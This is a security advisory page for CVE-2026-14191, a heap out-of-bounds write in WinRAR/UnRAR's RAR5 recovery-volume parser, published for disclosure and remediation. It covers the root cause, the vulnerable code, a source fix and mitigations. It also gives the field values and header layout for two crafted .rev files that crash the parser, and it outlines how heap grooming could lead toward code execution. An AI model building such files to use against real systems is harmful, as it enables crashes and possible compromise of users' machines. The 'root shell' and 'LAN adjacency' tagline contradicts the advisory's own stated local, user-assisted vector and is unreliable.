SecurinZero Days
    Email Us
    Zero-Day Research/CVE-2026-14191
    ▲ HighCVSS 7.8✓ Patched

    WinRAR/UnRAR RAR5 Recovery Volume (.rev) Out-of-Bounds Heap Write in RecVolumes5::ReadHeader

    An out-of-bounds heap write exists in the RAR5 recovery-volume (.rev) parser in WinRAR and UnRAR (RecVolumes5::ReadHeader in recvol5.cpp). The RecItems vector is sized only when the first .rev file in a set is processed; subsequent .rev files supply an independent RecNum value that is validated against that file's own TotalCount field but never against the actual size of RecItems. A crafted set of two or more .rev files can therefore write an attacker-controlled 32-bit value (the header's RevCRC field) to RecItems[RecNum] at an attacker-controlled offset up to 65534 * sizeof(RecVolItem) bytes past the allocation, corrupting adjacent heap objects. Triggering requires the victim to run a recovery/test operation on an attacker-supplied .rev set (for example 'unrar t x.part1.rev', WinRAR 'Repair archive', or auto-recovery when extracting a volume set with a missing .rar part). This is the RAR5-path sibling of CVE-2023-40477 (which was fixed in the RAR3 path only in WinRAR 6.23). Fixed in WinRAR / RAR 7.23.

    CVE IDCVE-2026-14191
    CVSS v3.17.8 High
    VendorRARLAB
    CWECWE-787, CWE-129
    DisclosedJul 1, 2026
    StatusPatched
    All advisories
    • 01Description
    • 02Proof of Concept
    • 03Vulnerable Code
    • 04Impact
    • 05Remediation
    • 06Timeline
    • 07References
    01/Description

    What this actually is.

    Technical background, root cause, and affected surface.

    An out-of-bounds heap write exists in the RAR5 recovery-volume (.rev) parser in WinRAR and UnRAR (RecVolumes5::ReadHeader in recvol5.cpp). The RecItems vector is sized only when the first .rev file in a set is processed; subsequent .rev files supply an independent RecNum value that is validated against that file's own TotalCount field but never against the actual size of RecItems. A crafted set of two or more .rev files can therefore write an attacker-controlled 32-bit value (the header's RevCRC field) to RecItems[RecNum] at an attacker-controlled offset up to 65534 * sizeof(RecVolItem) bytes past the allocation, corrupting adjacent heap objects. Triggering requires the victim to run a recovery/test operation on an attacker-supplied .rev set (for example 'unrar t x.part1.rev', WinRAR 'Repair archive', or auto-recovery when extracting a volume set with a missing .rar part). This is the RAR5-path sibling of CVE-2023-40477 (which was fixed in the RAR3 path only in WinRAR 6.23). Fixed in WinRAR / RAR 7.23.

    Vendor
    RARLAB
    Product
    WinRAR / RAR / UnRAR / UnRAR.dll
    Severity
    High
    CVSS Score
    7.8
    CWE
    CWE-787, CWE-129
    Status
    Patched
    Vector
    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    02/Proof of Concept

    From one request
    to root shell.

    Reproduced in a sandboxed environment. Requires only LAN or WiFi adjacency.

    7.8CVSS 3.1
    VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    ScopeUnchanged
    ImpactC:H / I:H / A:H
    SeverityHigh

    Prerequisite: the victim runs a test/recover operation over an attacker-supplied .rev set - "unrar t x.part1.rev", the WinRAR GUI "Repair archive" action, or automatic recovery when extracting a volume set with a missing .rar part. NextVolumeName walks poc.part1.rev -> poc.part2.rev automatically under RAR5 numbering, so a single "unrar t poc.part1.rev" processes both files.

    PoC · Exploitation Steps▲ trigger
    01Concept: craft two .rev files whose headers disagree. The first sizes RecItems; the second supplies an independent, much larger RecNum that is never re-checked against that size.02REV5 layout per file: "Rar!\x1aRev"(8) | BlockCRC u32 LE | HeaderSize u32 LE | body BlockCRC = CRC32( HeaderSizeField(4 LE) || body ) body = Ver=1 | DataCount u16 | RecCount u16 | RecNum u16 | RevCRC u32 [ | DataCount x (FileSize u64, CRC u32) ]03file FirstRev DataCount RecCount TotalCount RecNum result poc.part1.rev yes 1 1 2 1 RecItems.resize(2); write index 1 - in bounds poc.part2.rev no 0 65535 65535 65534 no resize; RecItems[65534] while size is 2 -> OOB write04Steps (as run on the reporting host; see disclosure/REPRODUCE.md):05powershell -ExecutionPolicy Bypass -File .\pocs\gen_poc.ps1 Expected, captured in evidence/04_poc_generation.txt: poc.part1.rev: 39 bytes total, HeaderSize=23, BlockCRC=0xB74FF53E poc.part2.rev: 27 bytes total, HeaderSize=11, BlockCRC=0xA23636E906"C:\Program Files\WinRAR\UnRAR.exe" t poc.part1.rev Observed, captured in evidence/05_installed_unrar_crash.txt (UnRAR 7.22 x64, no instrumentation): Testing poc.part1.rev poc.part1.rev - checksum error Testing poc.part2.rev EXIT_CODE=139 (128 + signal 11, SIGSEGV / Windows 0xC0000005 access violation)07ASAN_OPTIONS="exitcode=99:symbolize=1" ./unrar_asan.exe t poc.part1.rev Observed, captured in evidence/07_asan_crash.txt: ==36544==ERROR: AddressSanitizer: access-violation on unknown address 0x12291ae20360 ==36544==The signal is caused by a WRITE memory access. #0 RecVolumes5::ReadHeader(File*, bool) recvol5.cpp #1 RecVolumes5::Test(...) recvol5.cpp:510 #2 RecVolumesTest(...) recvol.cpp:100 #3 CmdExtract::ExtractArchive() extract.cpp:191 SUMMARY: AddressSanitizer: access-violation ... in RecVolumes5::ReadHeader(File*, bool) EXIT_CODE=9908Generator correctness: gen_poc.ps1 implements standard reflected CRC-32 (poly 0xEDB88320) and self-verifies against the canonical vector CRC32("123456789") == 0xCBF43926 - evidence/06_crc32_selftest.txt records MATCH = True. A wrong BlockCRC would be rejected by the header-CRC gate at recvol5.cpp:458 before the bug is reached, so a CRC error yields a false negative, never a false positive.

    Constraint: the PoC uses RecNum = 65534, which places the write megabytes past the 2-element allocation and onto an unmapped page, producing a deterministic crash. It does not attempt heap grooming, and no code-execution chain was built.

    03/Vulnerable Code

    The bug, and the fix.

    File: unrar/recvol5.cpp Affected function: RecVolumes5::ReadHeader(File *RecFile, bool FirstRev) Missing bound: recvol5.cpp:467 - Out-of-bounds write: recvol5.cpp:486 Source audited: UnRAR 7.21 (line numbers below are from that tree). Installed WinRAR/UnRAR 7.22 x64 confirmed affected empirically.

    Captured verbatim from disclosure/evidence/02_source_recvol5_readheader.txt (recvol5.cpp lines 439-489, debug markers = 0):

    439 uint RecVolumes5::ReadHeader(File *RecFile,bool FirstRev) 440 { ... 461 if (Raw.Get1()!=1) // Version check. 462 return 0; 463 DataCount=Raw.Get2(); 464 RecCount=Raw.Get2(); 465 TotalCount=DataCount+RecCount; 466 uint RecNum=Raw.Get2(); // Number of recovery volume. 467 if (RecNum>=TotalCount || TotalCount>MaxVolumes) // <-- checked against THIS file's TotalCount only 468 return 0; 469 uint RevCRC=Raw.Get4(); // CRC of current REV volume. 470 471 if (FirstRev) 472 { 473 // If we have read the first valid REV file, init data structures 474 // using information from REV header. 475 size_t CurSize=RecItems.size(); 476 RecItems.resize(TotalCount); // <-- sized ONLY for the first .rev file 479 for (uint I=0;I<DataCount;I++) 480 { 481 RecItems[I].FileSize=Raw.Get8(); 482 RecItems[I].CRC=Raw.Get4(); 483 } 484 } 485 486 RecItems[RecNum].CRC=RevCRC; // Assign it here, after allocating RecItems. 487 488 return RecNum; 489 }

    Root cause: RecNum is validated at line 467 only against the TotalCount field carried by the same .rev file, and never against RecItems.size(). RecItems is resized at line 476 only while FirstRev is true - that is, from the first .rev file in the set. A later file in the set supplies an independent, larger TotalCount/RecNum pair, so the two values diverge and line 486 writes an attacker-controlled 32-bit value (the header's RevCRC field) at an attacker-controlled index past the end of the allocation.

    Prior art: the official RARLAB source diff unrarsrc-6.2.8 (WinRAR 6.22) -> unrarsrc-6.2.9 (WinRAR 6.23), captured in disclosure/evidence/03_official_diff_cve-2023-40477.txt, shows recvol5.cpp IDENTICAL across the CVE-2023-40477 fix, while recvol3.cpp received the added bounds check (if (SrcPos<0 || SrcPos>=ASIZE(SrcFile)) continue; plus P[i]<=0 guards). The 2023 fix therefore hardened only the RAR3 recovery path; the RAR5 path shown above was never bounded until WinRAR/RAR 7.23.

    04/Impact

    What an attacker does to you.

    Post-exploitation outcomes mapped to CVSS impact metrics.

    High

    Demonstrated: a controlled out-of-bounds heap write. The written value is the attacker-supplied RevCRC field and the offset is RecNum * sizeof(RecVolItem), reaching up to 65534 * sizeof(RecVolItem) bytes past the allocation. With the PoC's RecNum = 65534 the write lands on an unmapped page and terminates the process - confirmed on the installed release binary (UnRAR 7.22 x64, EXIT_CODE=139 / SIGSEGV, evidence/05) and root-caused with AddressSanitizer as a WRITE access-violation inside RecVolumes5::ReadHeader on pristine 7.21 source (EXIT_CODE=99, evidence/07). The reachable outcome proven by this evidence is denial of service against any process that tests or repairs an attacker-supplied .rev set, including UnRAR.dll consumers that expose recovery-volume handling.

    High

    Not demonstrated - assessment only: with a small RecNum the write would land in the near-heap and corrupt adjacent heap objects or allocator metadata rather than hitting an unmapped page. That is the path an attacker would pursue toward control-flow hijack (heap grooming, overwriting a pointer or vtable, then defeating Windows ASLR/DEP/CFG). No code-execution chain was built and none is claimed. The CVSS:3.1 vector recorded for this entry (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, 7.8) is a reporter estimate mirroring CVE-2023-40477, the RAR3-path sibling, which ZDI/NVD rated 7.8. It is not a vendor-assigned score.

    High

    Exposure: the trigger requires user interaction - the victim must run a test, repair, or auto-recovery operation over the attacker's .rev set - so this is local/user-assisted rather than remotely reachable on its own.

    05/Remediation

    Fix it. In this order.

    A runbook, not a checklist. Sequence matters — assume compromise before you act.

    01

    Upgrade. Fixed by RARLAB in WinRAR / RAR 7.23, released 2026-06-30, which ships the .rev processing fix. This covers WinRAR.exe, Rar.exe, UnRAR and UnRAR.dll. Products that bundle UnRAR.dll must ship the 7.23 library, not merely update the host application.

    N/A
    02

    Source-level fix for downstream forks and embedders that cannot take 7.23 directly - add the missing bound at recvol5.cpp:467 so RecNum is validated against the actual container size, not only the per-file TotalCount:

    N/A
    03

    if (RecNum>=TotalCount || TotalCount>MaxVolumes || RecNum>=RecItems.size())

    N/A
    04

    return 0;

    N/A
    05

    Optionally also reject .rev files whose DataCount / RecCount / TotalCount differ from the first volume in the set, which removes the header-disagreement primitive entirely rather than only bounding its effect.

    N/A
    06

    Interim mitigation where 7.23 cannot be deployed immediately - the defect is only reachable through recovery-volume processing, so:

    N/A
    07

    Do not run test, repair, or recovery operations over .rev files from untrusted sources.

    N/A
    08

    Be aware that extraction of a volume set with a missing .rar part can invoke recovery automatically, so the trigger is not limited to an explicit "Repair archive" action.

    N/A
    09

    In automated pipelines, filter .rev members out of untrusted uploads before handing archives to UnRAR or UnRAR.dll.

    N/A
    10

    Note for triage: applying the CVE-2023-40477 fix does not address this issue. The official RARLAB 6.22 -> 6.23 diff (evidence/03) shows that fix touched recvol3.cpp only and left recvol5.cpp byte-identical, so RAR5 recovery volumes remained unbounded on every release up to 7.22.

    N/A
    Securin advisory — For coordinated remediation support or threat-actor briefings related to CVE-2026-14191, contact disclose@securin.io
    06/Disclosure Timeline

    Vendors moved in days.
    Attackers in hours.

    Reconstructed from vendor advisories, CISA bulletins, and Securin research records.

    2026-06-03

    Crafted two-file .rev set generated and verified; generator CRC-32 self-test matches the canonical vector CRC32("123456789") = 0xCBF43926 (evidence/06_crc32_selftest.txt)

    2026-06-03

    Out-of-bounds write confirmed against the installed release binary UnRAR 7.22 x64 with no instrumentation - EXIT_CODE=139, SIGSEGV (evidence/05_installed_unrar_crash.txt)

    2026-06-03

    Root-caused under AddressSanitizer on a pristine UnRAR 7.21 build with no source edits - WRITE access-violation in RecVolumes5::ReadHeader, reached via RecVolumes5::Test (recvol5.cpp:510) and CmdExtract::ExtractArchive (extract.cpp:191), EXIT_CODE=99 (evidence/07_asan_crash.txt)

    2026-06-03

    Confirmed as the unpatched RAR5 variant of CVE-2023-40477 - official RARLAB unrarsrc 6.2.8 to 6.2.9 diff shows recvol5.cpp unchanged while recvol3.cpp received the bounds fix (evidence/03_official_diff_cve-2023-40477.txt)

    2026-06-03

    Reported to RARLAB (Eugene Roshal) by Securin; vendor confirmed the findings the same day

    2026-06-30

    WinRAR / RAR 7.23 released by RARLAB with the .rev processing fix

    2026-07-01

    CVE-2026-14191 assigned by Securin CNA; Securin Zero-Day advisory published

    Disclosed 27 days after discovery

    07/References

    Cite, verify, go deeper.

    Primary sources — NVD, CISA KEV, and machine-readable IoC feed.

    NVD

    NVD — CVE-2026-14191

    nvd.nist.gov/vuln/detail/CVE-2026-14191 →
    SEC

    Securin VI — Full Technical Analysis

    vi.securin.io →

    Let Securin level up your security posture.

    Get a live exposure assessment, threat-actor briefing tailored to your sector, and IoC mapping for your SIEM.

    Browse all advisories
    SecurinSecurinZero Days

    Securin's zero-day research operation combines frontier AI models with a decade of offensive expertise — discovering, validating, and coordinating the disclosure of high-impact vulnerabilities at a scale and speed no human team achieves alone.

    Glossary
    © 2026 Securin Inc · CVE Numbering Authority
    Privacy Policy·Data Processing Addendum